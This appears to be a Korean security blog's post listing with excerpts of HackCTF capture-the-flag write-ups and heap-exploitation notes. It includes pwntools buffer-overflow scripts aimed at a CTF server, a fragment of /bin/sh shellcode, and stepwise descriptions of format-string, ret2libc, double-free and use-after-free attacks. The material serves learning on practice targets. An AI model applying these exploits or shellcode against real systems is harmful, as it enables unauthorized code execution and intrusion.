anonymous?

1. 보호기법 확인 2. exploit code #!/usr/bin/python from pwn import * #p = process("./64bof_basic") p = remote("ctf.j0n9hyun.xyz", 3004) callMeMaybe = 0x400606 pay = 'A'*0x118 + p64(callMeMaybe) p.sendline(pay) p.interactive() 그냥 return address 전까지를 다 dummy로 주고 return address를 shellcode를 실행해주는callMeMaybe 함수의 주소로 변조하면 된다. 3. exploit

SYSTEM HACKING/HackCTF 2020. 1. 1. 17:19

Name에 24 바이트짜리 쉘코드를 넣어놓고 (nop으로 바인딩) gets 함수는 버퍼오버플로우 취약점이 있으므로 s와 sfp를 dummy로 채우고 Return address에 &name을 주면, return 시 name으로 리턴해서 name에 들어있는 쉘코드가 실행될 수 있다. #!/usr/bin/python from pwn import * #context.log_level = 'debug' #p = process("./prob1") p = remote("ctf.j0n9hyun.xyz", 3003) name = 0x804a060 pay = '\x90'*13 pay += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\x..

SYSTEM HACKING/HackCTF 2020. 1. 1. 17:18

1. IDA snprintf 함수는 character string인 format에 s의 0x400 바이트를 적는다. snprintf() 함수에서 format string bug 취약점 발생 2. 보호기법 확인 3. pseudo code 4. 실행 AAAA로 값을 주고 %x를 몇 개 줘서 출력값을 확인해보면 A의 아스키코드값인 41이 두 번째에 들어가있다. FSB에서 사용하는 방법 중 하나는 %n을 사용해서 특정 libc 주소의 got를 원하는 주소 값으로 overwrite하는 것이다. %n 지시자는 출력된느 내용을 카운팅해서 %n으로 받아 값을 저장한다. 따라서 %n 지시자를 위와 같이 overwrite하길 바라는 AAAA와 같은 값의 위치에 주면, AAAA가 써있는 곳에 원하는 값으로 overwrite..

SYSTEM HACKING/HackCTF 2020. 1. 1. 17:15

1. exploit code #!/usr/bin/python from pwn import * #p = process("./bof_basic2") p = remote("ctf.j0n9hyun.xyz", 3001) elf = ELF("./bof_basic2") shell = elf.symbols['shell'] p.sendline('A'*(0x8c-0xc) + p32(shell)) p.interactive() 2. exploit

SYSTEM HACKING/HackCTF 2020. 1. 1. 16:58

1. exploit code #!/usr/bin/python from pwn import * p = remote("ctf.j0n9hyun.xyz", 3000) p.sendline('A'*(0x34-0xc) + p32(0xdeadbeef)) p.interactive() 2/ exploit

SYSTEM HACKING/HackCTF 2020. 1. 1. 16:57

1. 보호기법 확인 2. offset 구하기 &puts - &system = 0x2a300 “pop rdi; ret” : 0x400bc3 puts – libc = libc.symbols[‘puts’] libc = puts- libc_puts_off binsh_addr = libc+libc_binsh_off system_addr = puts – puts_system_off 3. exploit code 그냥 puts 주소를 write로 leak 하고 libc, /bin/sh, system 주소를 구한 offset 주소로 구한다. Don’t break the rules…:( 뒤에 띄어쓰기가 있는 것을 주의.. 그리고 puts로 출력했기 때문에 \n을 같이 받는다. 4. exploit

SYSTEM HACKING/CTF, etc 2020. 1. 1. 16:54

1. heap에서 병합이 일어나는 경우 1) prev_inuse 비트가 해제된 청크를 해제(free) 시 prevChunk와 병합 또는 prev_inuse 비트가 해제된 청크 앞으로 두 번째 청크가 해제됐을 때 그 뒤 청크와 병합 2) largeChunk 할당(malloc) 시 fastbinChunk와 인접해있는 경우 fastbinChunk와 병합 2. fastbin_dup_consolidate - 청크 병합 시 발생하는 취약점 - largeChunk를 할당했을 때 fastbinChunk와 인접해있지 않은 경우 fastbinChunk가 smallbin으로 이동하는 것을 이용한 기법 fastbin에서 해제되고 fastbinsY[i]에 있던 경우 bins[i+1]에 들어간다. 이후 다음 fastChunk의 ..

SYSTEM HACKING/Exploit Tech 2020. 1. 1. 16:47

항상 문제 풀 때마다 설정: $ bash2 $ ulimit -c unlimited 이 설정을 해야 쉘이 제대로 따짐. 최초에 1번만 하면 되는 설정: VMWare Workstation Player에 redhat linux 6.2 라는 LOB를 설치한 후에, LILO boot : 가 뜨면 linux-up 을 입력한다. 그러면 부팅이 완료된 후 이렇게 LOB 초기 로그인 창이 뜬다. (참고로 이 로그인 창은 window 키를 누르면 갈 수 있다!) 처음 레벨 아이디/비번은 gate/gate $ netconfig 명령어를 입력하면 다음과 같은 창이 된다. 키로 select. Yes를 누른다. Use dynamic IP configuration (BOOTP/DHCP) 에서 [ ] 안에 키를 눌러서 select ..

SYSTEM HACKING/LOB Redhat 2019. 12. 23. 14:40

1. 조건 Double free bug 가 가능해야 함 2. 공격 방법 1) 동일한 크기 fast chunk 3개 생성(malloc) 2) 첫 번째 fast chunk 해제(free) 3) 두 번째 fast chunk 해제(free) 4) 첫 번째 fast chunk 해제(free) -> double free 5) 동일한 크기의 fast chunk 2개 재할당(malloc) 6) 재할당 받은 첫 번째 chunk 영역에 fd에 stack 주소 저장 -> stack 주소 값 + 0x8 영역에는 동일한 chunk size 저장되어야 함 (fastbin에서 재할당 시 chunk size가 요청한 size와 같은지 확인하기 때문) 7) 동일한 크기의 fast chunk 할당 -> fd + 0x10 주소가 리턴된다..

SYSTEM HACKING/Exploit Tech 2019. 11. 25. 23:13

1. 조건 Double free bug 가 가능해야 함 (해제된 fast chunk를 한 번 더 해제하는 것이 가능해야 함) 2. 공격 방법 1) 동일한 크기 fast chunk 3개 생성(malloc) 2) 첫 번째 fast chunk 해제(free) fastbinsY[6] = 0x602000 3) 두 번째 fast chunk 해제(free) fastbinsY[6] = 0x602080 -> 0x602000(fd) 4) 첫 번째 fast chunk 해제(free) -> double free fastbinsY[6] = 0x602000 -> 0x602080(fd) -> 0x602000(fd) 5) 공격 대상 영역과 같은 크기의 heap 3개 할당(malloc) -> 첫 번째 heap 영역과 세 번째 heap..

SYSTEM HACKING/Exploit Tech 2019. 11. 25. 23:07

1. 환경 공격자가 heap 영역을 할당(malloc), 해제(free)할 수 있어야 한다. 2. 공격 방법 1) 2개의 Heap 영역 할당(malloc) 2) 첫 번째 Heap 영역 해제(free) 3) Heap 영역 할당(malloc) - Fastbin : 해제된 chunk가 fastbinsY에서 관리될 경우 해제된 Heap과 크기 동일하게 할당 - Unsorted bin : 해제된 chunk가 unsorted bin에서 관리되는 small, large chunk인 경우, 해제된 Heap의 크기와 같거나 작은 크기를 할당 4) 해제되었던 Heap 영역을 재할당받게 된다. 3. example vuln code 1) 크기 0x90인 힙 할당 2) 크기 0x100인 힙 할당 3) 크기 0x90인 힙 해제...

SYSTEM HACKING/Exploit Tech 2019. 11. 25. 23:01